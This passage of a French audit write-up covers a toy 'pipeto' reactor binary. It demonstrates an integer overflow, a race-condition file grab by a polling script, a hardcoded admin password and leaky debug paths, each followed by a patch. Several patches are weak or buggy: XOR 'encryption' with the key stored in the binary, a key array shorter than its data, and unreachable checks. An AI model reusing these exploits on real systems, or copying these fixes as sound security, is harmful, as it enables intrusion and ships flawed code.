Cette commande nous demande d'entrer un nombre pour fixer le pouvoir du réacteur à une certaine valeur. On rentre un chiffre aléatoire pour regarder le comportement de la commande :

```
pipeto> set_reactor_power  
Enter reactor power level: 3  
Reactor power set to: 1003  
Reactor operating within safe parameters.
```

Nous pouvons observer que le programme fait : “**le nombre que nous avons rentré + 1000**” et dans le code source nous trouvons cette condition :

```
if (input_power > INT_MAX - 1000) {  
    printf("\nReactor power adjustment may be incorrect.\n");  
    printf("Reactor systems are behaving erratically!\n");  
    printf("Reactor core temperature rising uncontrollably...\n");  
    printf("{12EXPLOSION34}\n");  
    printf("Emergency shutdown initiated!\n\n");  
    exit(1);  
}
```

Cette condition signifie que si nous rentrons un nombre supérieur à la valeur d'un “**int**” (2147483647) moins 1000 alors le programme affiche le flag caché.

Nous exécutons une seconde fois la commande “**set_reactor_power**” et nous lui donnons la valeur maximale d'un int en paramètre :

```
pipeto> set_reactor_power  
Enter reactor power level: 2147483647  
  
Reactor power adjustment may be incorrect.  
Reactor systems are behaving erratically!  
Reactor core temperature rising uncontrollably...  
{12EXPLOSION34}  
Emergency shutdown initiated!
```

Nous trouvons ce flag :

{12EXPLOSION34}

Résumé des commandes à exécuter afin de trouver le flag :

[**./pipeto**]
[**help**]
[**set_reactor_power**]
[**2147483647**]

Correction de “set_reactor_power” :

Avant la correction :

```
void set_reactor_power()
{
    char power[11];

    printf("Enter reactor power level: ");
    fgets(power, sizeof(power), stdin);
    power[strcspn(power, "\n")] = 0;

    int input_power = atoi(power);
    int new_power;

    if (input_power > INT_MAX - 1000) {
        printf("\nReactor power adjustment may be incorrect.\n");
        printf("Reactor systems are behaving erratically!\n");
        printf("Reactor core temperature rising uncontrollably...\n");
        printf("{12EXPLOSION34}\n");
        printf("Emergency shutdown initiated!\n\n");
        exit(1);
    }

    new_power = input_power + 1000;

    if (new_power < 0) {
        printf("Reactor power set to an invalid value: %d\n", new_power);
        printf("Reactor core meltdown imminent!\n");
    } else {
        printf("Reactor power set to: %d\n", new_power);
        printf("Reactor operating within safe parameters.\n");
    }
}
```

Après la correction

```
void print_bait_meltdown(int new_power)
{
    if (new_power < 0) {
        printf("Reactor power set to an invalid value: %d\n", new_power);
        printf("Reactor core meltdown imminent!\n");
    } else {
        printf("Reactor power set to: %d\n", new_power);
        printf("Reactor operating within safe parameters.\n");
    }
}

static void encrypted_flag(void)
{
    unsigned char enc_flag[] = {0xe8, 0x5b, 0xf9, 0xa8, 0xa2, 0xc2, 0x55,
                                0xcb, 0x42, 0xb8, 0x6b, 0xef, 0xed, 0x9b, 0xbf};
    unsigned char keys[] = {0x93, 0x6a, 0xcb, 0xed, 0xfa, 0x92, 0x19, 0x84,
                           0x11, 0xf1, 0x24, 0xa1, 0xde, 0xaf, 0xc2, 0xb1};
    char decrypted[16];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[15] = '\0';
    printf("%s\n", decrypted);
}

void set_reactor_power(void)
{
    char power[12];
    int input_power = 0;
    int new_power = 0;

    printf("Enter reactor power level: ");
    fgets(power, sizeof(power), stdin);
    power[strcspn(power, "\n")] = 0;
    input_power = atoi(power);
    if (input_power > INT_MAX - 1000)
        input_power = INT_MAX - 1000;
    if (input_power > INT_MAX - 1000) {
        printf("\nReactor power adjustment may be incorrect.\n");
        printf("Reactor systems are behaving erratically!\n");
        printf("Reactor core temperature rising uncontrollably...\n");
        encrypted_flag();
        printf("Emergency shutdown initiated!\n\n");
        exit(1);
    }
    new_power = input_power + 1000;
    print_bait_meltdown(new_power);
}
```

La faille a été corrigée en limitant la valeur maximale pouvant être saisie dans la fonction **set_reactor_power**. Cette modification empêche les utilisateurs de provoquer un dépassement d'entier en entrant une valeur trop élevée, ce qui affichait le flag et permettait de le récupérer : “**{12EXPLOSION34}**”. De plus, nous avons chiffré ce flag afin qu'il ne soit plus directement visible dans les chaînes de caractères du binaire.

Le fichier .patch de cette fonction est le suivant :
“**patch/set_reactor_power.patch**”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 50% en lignes et 37% en branches.

Faille 5, turbine_remote_access :

Cette vulnérabilité est de criticité élevée, car elle permet l'accès à des informations potentiellement sensibles sans authentification, dans une fenêtre d'opportunité très courte. Exploitée au bon moment, elle peut compromettre la confidentialité ou l'intégrité du système, notamment si le fichier contient des jetons d'authentification, des clés ou des mots de passe.

Cette faille est une “Race Condition”. Elle repose sur un mauvais contrôle d'accès à un fichier temporaire sensible. Le fichier est accessible en clair dans le système de fichiers pendant un court instant, ce qui permet à un attaquant d'intercepter des données critiques en surveillant activement le répertoire.

Cette faille se trouve dans le fichier “**libpipeto/turbine_remote_access.c**”, au niveau de la fonction suivante : “**turbine_remote_access**”. On la trouve une fois le code source de la bibliothèque récupéré, par exemple avec l'outil “**ghidra**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

Nous exécutons la commande “**turbine_remote_access**” :

```
→ pipeto> turbine_remote_access
Temporary file created: Data/remote_accessjGa4jt
Enabling remote access...
```

Nous voyons qu'un fichier temporaire “**remote_access**” suivi d'une suite de caractères aléatoire est créé. Il est présent pendant quelques secondes dans le dossier Data créé auparavant (voir la page ci-dessus si vous ne comprenez pas ce à quoi nous faisons référence).

Nous ne pouvons pas récupérer son contenu manuellement, nous allons donc faire un petit script en python de sorte à récupérer le contenu de ce fichier temporaire :

```
→ binary cat grab.sh
#!/bin/bash

while true; do
    file=$(ls Data/remote_access* 2>/dev/null | head -n 1)
    if [ -n "$file" ]; then
        echo "$file"
        cat "$file"
        break
    fi
done
```

Nous lançons le script sur un nouveau terminal de cette manière :

```
→ binary ./grab.sh
```

Puis nous exécutons la commande “**turbine_remote_access**” une seconde fois.

Le script a bien récupéré et lu le fichier temporaire :

```
→ binary ./grab.sh
Data/remote_accessPmoAVa
{ACCESS_GRANTED}%
```

Nous trouvons ce flag :

{ACCESS_GRANTED}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[help]
[./grab.sh dans un nouveau terminal]
[turbine_remote_access]
```

Correction de “turbine_remote_access”:

```
void turbine_remote_access(void)
{
    size_t __n;
    char local_48 [32];
    char local_28 [28];
    int local_c;

    strncpy(local_28,"Data/remote_accessXXXXXX",0x19);
    local_c = mkstemp(local_28);
    if (local_c == -1) {
        puts("Error: Unable to create temporary file.");
    }
    else {
        printf("Temporary file created: %s\n",local_28);
        strncpy(local_48,"{ACCESS_GRANTED}",0x11);
        __n = strlen(local_48);
        write(local_c,local_48,__n);
        close(local_c);
        puts("Enabling remote access...");
        sleep(5);
        local_c = open(local_28,0);
        if (local_c == -1) {
            puts("Error: Temporary file was tampered with or deleted." );
        }
        else {
            unlink(local_28);
        }
    }
    return;
}
```

Après la correction :

```
static void encrypted_flag(char *accessToken)
{
    unsigned char enc_flag[] = {0xc8, 0xbc, 0x5b, 0xcf, 0xa9, 0x36, 0xa1,
                                0xa2, 0x1f, 0x68, 0x5d, 0xdd, 0xe4, 0xe3, 0xb9, 0xce};
    unsigned char keys[] = {0xb3, 0xfd, 0x18, 0x8c, 0xec, 0x65, 0xf2, 0xfd,
                           0x58, 0x3a, 0x1c, 0x93, 0xb0, 0xa6, 0xfd};
    char decrypted[16];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        accessToken[i] = enc_flag[i] ^ keys[i];
    accessToken[15] = '\0';
    printf("%s\n", accessToken);
}

static int create_and_write_tempfile(char *path, int *fd)
{
    char accessToken[16];
    encrypted_flag(accessToken);
    size_t messageLength = strlen(accessToken);

    *fd = mkstemp(path);
    if (*fd == -1) {
        puts("Error: Unable to create temporary file.");
        return -1;
    }
    unlink(path);
    if (write(*fd, accessToken, messageLength) == -1) {
        puts("Error: Failed to write to temporary file.");
        close(*fd);
        return -1;
    }
    return 0;
}

static void read_and_display_tempfile(int fd)
{
    char buffer[64] = {0};

    lseek(fd, 0, SEEK_SET);
    if (read(fd, buffer, sizeof(buffer) - 1) > 0)
        printf("Read from temp file: %s\n", buffer);
    else
        puts("Error: Unable to read from temp file.");
    close(fd);
}

void turbine_remote_access(void)
{
    char tempFilePath[] = "Data/remote_accessXXXXXX";
    int tempFileDesc = 0;

    if (create_and_write_tempfile(tempFilePath, &tempFileDesc) == -1)
        return;
    puts("Enabling remote access...");
    sleep(5);
    read_and_display_tempfile(tempFileDesc);
}
```

Pour corriger cette faille, nous avons supprimé immédiatement le fichier temporaire du système de fichiers après sa création avec “**mkstemp**”, tout en conservant le descripteur ouvert. Cette technique empêche tout accès externe au fichier via son nom, éliminant ainsi la fenêtre de vulnérabilité où un script pouvait lire ou intercepter le contenu sensible. Le fichier reste accessible uniquement par le processus courant, ce qui neutralise totalement l’exploitation de la race condition. De plus, le flag “**{ACCESS GRANTED}**” a été chiffré afin qu’il ne puisse pas être retrouvé dans les chaînes de caractères du binaire.

Le fichier .patch de cette fonction est le suivant :
“**patch/turbine_remote_access.patch**”.

Nous n’avons pas fait de tests unitaires pour cette faille.

Faille 6, activate_emergency_protocols :

Cette vulnérabilité est de criticité élevée, car elle compromet directement le contrôle d'accès en exposant des informations d'authentification sensibles dans le binaire. Un attaquant n'a besoin d'aucune compétence avancée pour l'exploiter, ce qui rend cette faille particulièrement dangereuse et facilement automatisable.

Cette faille est un **Hardcoded Password**, c'est-à-dire que nous avons trouvé le mot de passe à entrer pour devenir le user admin grâce à la commande bash “**strings**” (voir la page ci-dessus si vous ne comprenez pas ce à quoi nous faisons référence).

Cette faille se trouve dans le fichier “**src/commands/activate_emergency_protocols.c**”, au niveau de la fonction suivante : “**activate_emergency_protocols**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

Nous exécutons simplement la commande
“`activate_emergency_protocols`” :

```
pipeto> activate_emergency_protocols  
Enter emergency password:
```

La commande nous demande d'entrer un mot de passe.

Nous rentrons le mot de passe “**admin123**” que nous avons trouvé auparavant grâce à la commande bash “**strings**” sur le binaire “**pipeto**” (voir la page ci-dessus si vous ne comprenez pas ce à quoi nous faisons référence) :

```
pipeto> activate_emergency_protocols  
Enter emergency password: admin123  
{Emergency protocols activated, you are now admin !}
```

Nous trouvons ce flag et nous sommes désormais le user admin:

{Emergency protocols activated, you are now admin !}

Résumé des commandes à exécuter afin de trouver le flag et de devenir le user admin :

```
[./pipeto]  
[help]  
[activate_emergency_protocols]  
[admin123]
```

Correction de “activate_emergency_protocols” :

Avant la correction :

```
void activate_emergency_protocols()
{
    char input[100];

    printf("Enter emergency password: ");
    fgets(input, sizeof(input), stdin);
    input[strcspn(input, "\n")] = 0;

    if (strlen(input) == 0) {
        printf("No password entered, emergency protocols not activated.\n");
        return;
    }
    if (strcmp(input, "admin123") == 0) {
        printf("{Emergency protocols activated, you are now admin !}\n");
        IS_ADMIN = true;
    }
    return;
}
```

Après la correction

```
static void encrypted_flag(void)
{
    unsigned char enc_flag[] = {0xf4, 0x71, 0xc7, 0xb7, 0x04, 0x8e, 0xd9,
        0x33, 0xf2, 0x8a, 0x4a, 0xce, 0xe2, 0x57, 0x1e, 0xce, 0x26,
        0x8f, 0xc4, 0xe5, 0xf8, 0x92, 0xa6, 0x53, 0xd1, 0x7f, 0xba, 0x9c,
        0x0c, 0x51, 0x98, 0xad, 0xae, 0xff, 0x53, 0x91, 0xec, 0xce, 0xf3, 0x00,
        0x43, 0x2c, 0xd6, 0x1b, 0xe0, 0x70, 0x81, 0x51, 0x42, 0xb4, 0xc7};
    unsigned char keys[] = {0x8f, 0x34, 0xaa, 0xd2, 0x76, 0xe9, 0xbc, 0x5d,
        0x91, 0xf3, 0x6a, 0xbe, 0x5c, 0x8d, 0x23, 0x71, 0xad, 0x49, 0xe3,
        0xb7, 0xc5, 0x99, 0xf1, 0xd2, 0x3a, 0xa7, 0x1e, 0xce, 0xf9, 0x68,
        0x7d, 0xb8, 0xd4, 0xc1, 0x8a, 0x73, 0xf0, 0x9e, 0xab, 0xd3, 0x6e, 0x2c,
        0x5b, 0xf6, 0x7a, 0x84, 0x1d, 0xe8, 0x3f, 0x62, 0x95, 0xba, 0x4c};
    char decrypted[53];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[52] = '\0';
    printf("%s\n", decrypted);
}

void hashing_password(char input[])
{
    unsigned char digest[SHA512_DIGEST_LENGTH] = {0};
    unsigned char stored_hash[64] = {
        0x7f, 0xcf, 0x4b, 0xa3, 0x91, 0xc4, 0x87, 0x84,
        0xed, 0xde, 0x59, 0x98, 0x89, 0xd6, 0xe3, 0xf1,
        0xe4, 0x7a, 0x27, 0xdb, 0x36, 0xec, 0xc0, 0x50,
        0xcc, 0x92, 0xf2, 0x59, 0xbf, 0xac, 0x38, 0xaf,
        0xad, 0x2c, 0x68, 0xa1, 0xae, 0x80, 0x4d, 0x77,
        0x07, 0x5e, 0x8f, 0xb7, 0x22, 0x50, 0x3f, 0x3e,
        0xca, 0x2b, 0x2c, 0x10, 0x06, 0xee, 0x6f, 0x6c,
        0x7b, 0x76, 0x28, 0xcb, 0x45, 0xff, 0xfd, 0x1d
    };

    SHA512((const unsigned char *)input, strlen(input), digest);
    if (CRYPTO_memcmp(digest, stored_hash, SHA512_DIGEST_LENGTH) == 0) {
        encrypted_flag();
        IS_ADMIN = true;
    }
}

void activate_emergency_protocols(void)
{
    char input[100] = {0};

    printf("Enter emergency password: ");
    fgets(input, sizeof(input), stdin);
    input[strcspn(input, "\n")] = 0;
    if (strlen(input) == 0) {
        printf("No password entered, emergency protocols not activated.\n");
        return;
    }
    hashing_password(input);
    return;
}
```

Pour corriger cette faille, nous avons adopté une approche plus sécurisée en hachant le mot de passe auparavant présent en clair dans le code. Cela permet d'empêcher un utilisateur de le récupérer simplement via la commande strings, après décompression du binaire. De plus, nous avons chiffré le flag {Emergency protocols activated, you are now admin !} afin qu'il ne soit pas directement visible dans le binaire, non plus.

Le fichier .patch de cette fonction est le suivant :
“patch/activate_emergency_protocols.patch”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 53% en lignes et 33% en branches.

Faille 7, trigger_emergency_shutdown :

Cette vulnérabilité est de criticité élevée, car elle combine une faiblesse d'authentification et la divulgation de commandes sensibles. Elle permet à un attaquant d'obtenir un accès privilégié sans interaction utilisateur, et d'exécuter des actions critiques susceptibles d'affecter gravement la disponibilité ou l'intégrité du système.

Cette faille est un **Hardcoded Password**, c'est-à-dire que nous avons trouvé le mot de passe à rentrer dans la commande “**activate_emergency_protocols**” pour devenir l'utilisateur admin grâce à la commande bash strings. Et nous avons trouvé la commande secrète “**trigger_emergency_shutdown**” de cette même manière (voir la faille 5 ci-dessus si vous ne comprenez pas ce à quoi nous faisons référence).

Cette faille se trouve dans le fichier “**src/commands/trigger_emergency_shutdown.c**”, au niveau de la fonction suivante : “**trigger_emergency_shutdown**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

Nous exécutons la commande “**trigger_emergency_shutdown**” :

```
pipeto> trigger_emergency_shutdown
You are not authorized to trigger an emergency shutdown.
```

La commande nous refuse l'accès car nous ne sommes pas le user admin.

Nous exécutons la commande “**activate_emergency_protocols**”, nous rentrons le mot de passe “**admin123**” et sommes désormais le user admin (voir deux pages ci-dessus si vous ne comprenez pas ce à quoi nous faisons référence).

```
pipeto> trigger_emergency_shutdown
You are not authorized to trigger an emergency shutdown.
pipeto> activate_emergency_protocols
Enter emergency password: admin123
{Emergency protocols activated, you are now admin !}
pipeto> trigger_emergency_shutdown
{SHUTDOWN}%
```

Nous trouvons ce flag :

{SHUTDOWN}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[activate_emergency_protocols]
[admin123]
[trigger_emergency_shutdown]
```

Correction de “trigger_emergency_shutdown” :

Avant la correction :

```
void trigger_emergency_shutdown()
{
    if (!IS_ADMIN) {
        printf("You are not authorized to trigger an emergency shutdown.\n");
        return;
    }
    printf("{SHUTDOWN}");
    exit(0);
}
```

Après la correction :

```
static void encrypted_flag(void)
{
    unsigned char enc_flag[] = {0x48, 0xf8, 0x8c, 0xa8, 0xb8, 0x86, 0x52,
        0xd3, 0x56, 0x9c};
    unsigned char keys[] = {0x33, 0xab, 0xc4, 0xfd, 0xec, 0xc2, 0xd1, 0x84,
        0x18, 0xe1};
    char decrypted[11];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[10] = '\0';
    printf("%s", decrypted);
}

void trigger_emergency_shutdown(void)
{
    if (!IS_ADMIN) {
        printf("You are not authorized to trigger an emergency shutdown.\n");
        return;
    }
    encrypted_flag();
    exit(0);
}
```

La faille a été corrigée en même temps que nous avons ajouté le hachage du mot de passe utilisé dans la fonction “**activate_emergency_protocols**”. Cette modification empêche les utilisateurs non autorisés d'accéder au mode administrateur, ce qui bloque l'accès à la commande “**trigger_emergency_shutdown**” et, par conséquent, à la récupération du flag **{SHUTDOWN}**. Par ailleurs, nous avons également chiffré le flag pour qu'il ne soit plus directement visible dans les chaînes de caractères binaire.

Le fichier .patch de cette fonction est le suivant :
“patch/trigger_emergency_shutdown.patch”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 100% en lignes et 100% en branches.

Faile 8, unlock_secret_mode :

Cette vulnérabilité est considérée comme élevée, car elle permet à un attaquant non authentifié d'obtenir des priviléges élevés ainsi que d'accéder à des fonctionnalités cachées sans mécanisme de contrôle. Cela démontre un défaut majeur de sécurité dans la gestion des accès et la confidentialité du code.

Cette faille est un **Hardcoded Password**, c'est-à-dire que nous avons trouvé le mot de passe à entrer dans la commande “**activate_emergency_protocols**” pour devenir l'utilisateur admin grâce à la commande bash strings. Et nous avons trouvé la commande secrète “**unlock_secret_mode**” de cette même manière (voir la faille 5 ci-dessus si vous ne comprenez pas ce à quoi nous faisons référence).

Cette faille se trouve dans le fichier “**src/commands/unlock_secret_mode.c**”, au niveau de la fonction suivante : “**unlock_secret_mode**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

Nous exécutons la commande “**unlock_secret_mode**” :

```
pipeto> unlock_secret_mode  
Access denied. You do not have the required privileges.
```

La commande nous refuse l'accès car nous ne sommes pas le user admin.

Nous exécutons la commande “**activate_emergency_protocols**”, nous rentrons le mot de passe “**admin123**” et sommes désormais le user admin (voir la page ci-dessus si vous ne comprenez pas ce à quoi nous faisons référence).

```
pipeto> activate_emergency_protocols  
Enter emergency password: admin123  
{Emergency protocols activated, you are now admin !}  
pipeto> unlock_secret_mode  
Secret mode unlocked! Welcome, admin.  
{ADMIN4242}
```

Nous trouvons ce flag :

{ADMIN4242}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]  
[activate_emergency_protocols]  
[admin123]  
[unlock_secret_mode]
```

Correction de “unlock_secret_mode” :

Avant la correction :

```
void unlock_secret_mode()
{
    if (IS_ADMIN) {
        printf("Secret mode unlocked! Welcome, admin.\n");
        printf("{ADMIN4242}\n");
    } else {
        printf("Access denied. You do not have the required privileges.\n");
    }
}
```

Après la correction :

```
static void encrypted_flag(void)
{
    unsigned char enc_flag[] = {0xb8, 0x3a, 0x9b, 0x93, 0xd5, 0x0c, 0x19,
        0x7d, 0x2e, 0x13, 0x49};
    unsigned char keys[] = {0xc3, 0x7b, 0xdf, 0xde, 0x9c, 0x42, 0x2d, 0x4f,
        0x1a, 0x21, 0x34};
    char decrypted[12];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[11] = '\0';
    printf("%s\n", decrypted);
}

void unlock_secret_mode(void)
{
    if (IS_ADMIN) {
        printf("Secret mode unlocked! Welcome, admin.\n");
        encrypted_flag();
    } else
        printf("Access denied. You do not have the required privileges.\n");
}
```

La faille a été corrigée en même temps que nous avons ajouté le hachage du mot de passe utilisé dans la fonction “**activate_emergency_protocols**”. Cette modification empêche les utilisateurs non autorisés d'accéder au mode administrateur, ce qui bloque l'accès à la commande “**unlock_secret_mode**” et, par conséquent, à la récupération du flag **{ADMIN4242}**. Par ailleurs, nous avons également chiffré le flag pour qu'il ne soit plus directement visible dans les chaînes de caractères binaire.

Le fichier .patch de cette fonction est le suivant :
“patch/unlock_secret_mode.patch”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 100% en branches et 100% en lignes.

Faille 9, log_system event :

Cette vulnérabilité est de moyenne à élevée, car elle permet une fuite d'informations sensibles sans contrôle d'accès, révélant une absence de mécanismes de validation et une mauvaise gestion des ressources système. Un attaquant pourrait l'exploiter facilement pour compromettre l'intégrité ou la confidentialité du système.

Cette faille est une “**Insecure File Handling & Hardcoded Input**”. Le programme dépend de l'existence d'un dossier et d'un mot-clé présent en dur dans le binaire. En combinant la création manuelle du dossier et l'injection du bon mot-clé, il est possible de déclencher l'écriture de données sensibles dans un fichier, sans aucune authentification ni vérification de permissions.

Cette faille se trouve dans le fichier “**src/commands/log_system_event.c**”, au niveau de la fonction suivante : “**log_system_event**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

Nous exécutons la commande “**log_system_event**” :

```
pipeto> log_system_event  
Enter command: test  
Error: Unable to open log file 'Data/system.log'.
```

Nous créons un dossier “**Data**” avec la commande “**mkdir**” qui va pouvoir stocker “**system.log**” :

```
→ binary mkdir Data
```

Nous lançons une seconde fois la commande “**log_system_event**” qui nous demande d’entrer une commande :

```
pipeto> log_system_event  
Enter command:
```

Nous rentrons “**leak**” que nous avons trouvé auparavant grâce à la commande bash “**strings**” sur le binaire “**pipeto**” :

```
pipeto> log_system_event  
Enter command: leak  
Logging event: leak
```

Nous exécutons la commande bash “**cat**” sur le fichier “**system.log**” :

```
→ binary cat Data/system.log  
EVENT: leak  
  
SECRET_KEY_LEAKED: {SECRET_LOG_12PIERRE34}
```

Nous trouvons ce flag :

{SECRET_LOG_12PIERRE34}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[help]
[mkdir Data]
[log_system_event]
[leak]
[cat Data/system.log]
```

Correction de “log_system_event” :

Avant la correction :

```
void log_system_event()
{
    char command[100];
    char input[100];
    char secret_key[32] = "{SECRET_LOG_12PIERRE34}";

    printf("Enter command: ");
    fgets(input, sizeof(input), stdin);
    sscanf(input, "%99s", command);

    FILE *log = fopen("Data/system.log", "a");
    if (!log) {
        printf("Error: Unable to open log file 'Data/system.log'.\n");
        return;
    }

    printf("Logging event: %s\n", input);
    fprintf(log, "EVENT: %s\n", input);

    if (strstr(input, "leak")) {
        fprintf(log, "SECRET_KEY_LEAKED: %s\n", secret_key);
    }
    fclose(log);
}
```

Après la correction

```
static void encrypted_flag(char secret_key[])
{
    unsigned char enc_flag[] = {0xec, 0x35, 0x82, 0xee, 0x38, 0xde, 0xad,
                                0x82, 0x5d, 0xb1, 0xaf, 0xf0, 0x7b, 0xec, 0xa2, 0x24, 0xde, 0x28,
                                0x90, 0x81, 0xa3, 0x1d, 0xce};
    unsigned char keys[] = {0x97, 0x66, 0xc7, 0xad, 0x6a, 0x9b, 0xf9, 0xdd,
                           0x11, 0xfe, 0xe8, 0xaf, 0x4a, 0xde, 0xf2, 0x6d,
                           0x9b, 0x7a, 0xc2, 0xc4, 0x90, 0x29, 0xb3};

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        secret_key[i] = enc_flag[i] ^ keys[i];
    secret_key[sizeof(enc_flag)] = '\0';
}

void log_system_event(void)
{
    char input[100];
    char secret_key[32];
    FILE *log = NULL;

    encrypted_flag(secret_key);
    printf("Enter command: ");
    fgets(input, sizeof(input), stdin);
    if (strstr(input, "leak"))
        return;
    log = fopen("Data/system.log", "a");
    if (!log) {
        printf("Error: Unable to open log file 'Data/system.log'.\n");
        return;
    }
    printf("Logging event: %s\n", input);
    fprintf(log, "EVENT: %s\n", input);
    if (strstr(input, "leak"))
        fprintf(log, "SECRET_KEY_LEAKED: %s\n", secret_key);
    fclose(log);
}
```

Pour corriger cette faille, nous avons empêché toute fuite conditionnelle du flag qui survenait lorsque l'entrée utilisateur contenait le mot-clé “leak”. Désormais, si ce mot-clé est détecté, la fonction se termine immédiatement avant même l'ouverture du fichier de log. Cela empêche toute tentative d'exfiltration via les entrées utilisateur. Par ailleurs, la chaîne secrète **{SECRET_LOG_12PIERRE34}** a été supprimée en clair et remplacée par une version chiffrée. Le flag est ainsi reconstruit dynamiquement en mémoire, ce qui empêche son extraction directe depuis les chaînes du binaire.

Le fichier .patch de cette fonction est le suivant :
“**patch/log_system_event.patch**”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 87% en lignes et 75% en branches.

Faile 10, simulate_meltdown :

Cette vulnérabilité est de sévérité modérée à élevée, car elle permet de révéler des informations confidentielles sans authentification ni privilège particulier. Bien qu'aucun contrôle total ne soit obtenu, elle expose des données critiques, ce qui constitue une violation sérieuse de la confidentialité.

Cette faille est une **Information Disclosure**. C'est-à-dire qu'il suffit d'exécuter la commande “**simulate_meltdown**” plusieurs fois pour que le programme affiche, sous certaines conditions, un message contenant le flag caché.

Cette faille se trouve dans le fichier “**src/commands/simulate_meltdown.c**”, au niveau de la fonction suivante : “**simulate_meltdownt**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

La commande “**simulate_meltdown**” génère un nombre aléatoire à chaque appel et si sa valeur est inférieur à 5, le flag est affiché. Nous pouvons donc simplement faire le combo de touches “**CTRL + SHIFT + C**” sur “**simulate_meltdown**” comme ceci :

```
pipeto> simulate_meltdown
```

Puis faire “**CTRL + SHIFT + V**” en boucle jusqu’à ce que le flag s’affiche :

```
pipeto> pipeto> simulate_meltdown
```

```
Generated random number: 29
Alert: Reactor core temperature stable.
Reactor core temperature: 29
Reactor core status: Reactor Stable
pipeto> pipeto> simulate_meltdown

Generated random number: 2
Meltdown simulated! Reactor core is overheating.
Critical Error: Secret Code Leaked: {MELTDOWN1234}
```

Nous trouvons ce flag :

{MELTDOWN1234}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[help]
[simulate_meltdown]
[CTRL + SHIFT + C]
[CTRL + SHIFT + V]
```

Correction de “simulate_meltdown” :

Avant la correction :

```
void simulate_meltdown()
{
    char reactor_status[32] = "Reactor Stable";
    int random_number = rand() % 100;
    char secret_code[16] = "{MELTDOWN1234}";

    printf("Generated random number: %d\n", random_number);

    if (random_number < 10) {
        printf("Meltdown simulated! Reactor core is overheating.\n");
        strcpy(reactor_status, "Reactor Overheating");

        if (random_number < 5) {
            printf("Critical Error: Secret Code Leaked: %s\n", secret_code);
            return;
        }
    } else if (random_number < 20) {
        printf("Warning: Reactor core temperature rising.\n");
        strcpy(reactor_status, "Reactor Warning");
    } else if (random_number < 50) {
        printf("Alert: Reactor core temperature stable.\n");
        strcpy(reactor_status, "Reactor Stable");
    } else {
        printf("Reactor core temperature normal.\n");
        strcpy(reactor_status, "Reactor Normal");
    }
    printf("Reactor core temperature: %d\n", random_number);
    printf("Reactor core status: %s\n", reactor_status);
}
```

Après la correction :

```
void print_info_messages(int random_number, char reactor_status[])
{
    if (random_number < 20) {
        printf("Warning: Reactor core temperature rising.\n");
        strcpy(reactor_status, "Reactor Warning");
    } else if (random_number < 50) {
        printf("Alert: Reactor core temperature stable.\n");
        strcpy(reactor_status, "Reactor Stable");
    } else {
        printf("Reactor core temperature normal.\n");
        strcpy(reactor_status, "Reactor Normal");
    }
}

static void encrypted_flag(char secret_code[])
{
    unsigned char enc_flag[] = {0xe1, 0x26, 0x72, 0xe4, 0xee, 0xd0, 0xb1,
                                0xca, 0x5f, 0xcc, 0xa, 0x91, 0x6a, 0xa3};
    unsigned char keys[] = {0x9a, 0x6b, 0x37, 0xa8, 0xba, 0x94, 0xfe, 0x9d,
                           0x11, 0xfd, 0x38, 0xa2, 0x5e, 0xde};

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        secret_code[i] = enc_flag[i] ^ keys[i];
    secret_code[sizeof(enc_flag)] = '\0';
}

void simulate_meltdown(void)
{
    char reactor_status[32] = "Reactor Stable";
    int random_number = (rand() % 100) + 5;
    char secret_code[16];

    encrypted_flag(secret_code);
    printf("Generated random number: %d\n", random_number);
    if (random_number < 10) {
        printf("Meltdown simulated! Reactor core is overheating.\n");
        strcpy(reactor_status, "Reactor Overheating");
        if (random_number < 5) {
            printf("Critical Error: Secret Code Leaked: %s\n", secret_code);
            return;
        }
    } else
        print_info_messages(random_number, reactor_status);
    printf("Reactor core temperature: %d\n", random_number);
    printf("Reactor core status: %s\n", reactor_status);
}
```

Pour corriger cette faille, nous avons opté pour une solution simple et efficace. Nous avons modifié l'initialisation de la variable aléatoire comme suit : “**int random_number = (rand() % 100) + 5;**” afin de garantir que la valeur du réacteur ne soit jamais inférieure à 5, empêchant ainsi la révélation du flag caché. De plus, nous avons chiffré le flag : “**{MELTDOWN1234}**” afin qu'il ne puisse pas être récupéré facilement à l'aide d'outils comme strings.

Le fichier .patch de cette fonction est le suivant :
“**patch/simulate_meltdown.patch**”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 71% en lignes et 50% en branches.

Faille 11, turbine_temperature :

Cette vulnérabilité présente une criticité moyenne, car elle permet à un attaquant ayant accès au binaire de déclencher des comportements non prévus, pouvant conduire à une élévation de privilèges ou à un contournement de certaines protections. Cependant, son exploitation nécessite une certaine expertise.

Cette faille est une “**Boundary Condition**”. Le programme réagit de manière spéciale à des valeurs extrêmes, codées directement dans les instructions de comparaison. Cette logique cachée peut être découverte par reverse engineering.

Cette faille se trouve dans le fichier “**libpipeto/turbine_temperature.c**”, au niveau de la fonction suivante : “**turbine_temperature**”. On la trouve une fois le code source de la librairie récupéré, par exemple avec l’outil “**ghidra**”.

